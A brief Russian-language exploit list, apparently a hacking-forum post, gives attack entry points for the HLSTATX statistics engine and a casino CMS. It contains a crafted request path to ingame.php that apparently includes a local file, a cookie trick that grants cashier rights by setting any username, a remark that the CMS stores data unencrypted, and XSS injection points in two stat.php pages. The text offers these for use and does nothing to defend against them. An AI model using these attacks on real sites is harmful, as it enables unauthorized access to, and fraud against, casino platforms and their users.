Движок HLSTATX

exploit

Код:

host/ingame.php?mode=pro ./avatar.jpg

CMS казино

Стать кассиром передав в качестве Cookie username="любое кышы кышы"

Все данные хранятся в не зашифрованном виде.

XSS

kasa/stat.php?user=[xss]

rg=on

kasa/stat2.php?user=[xss]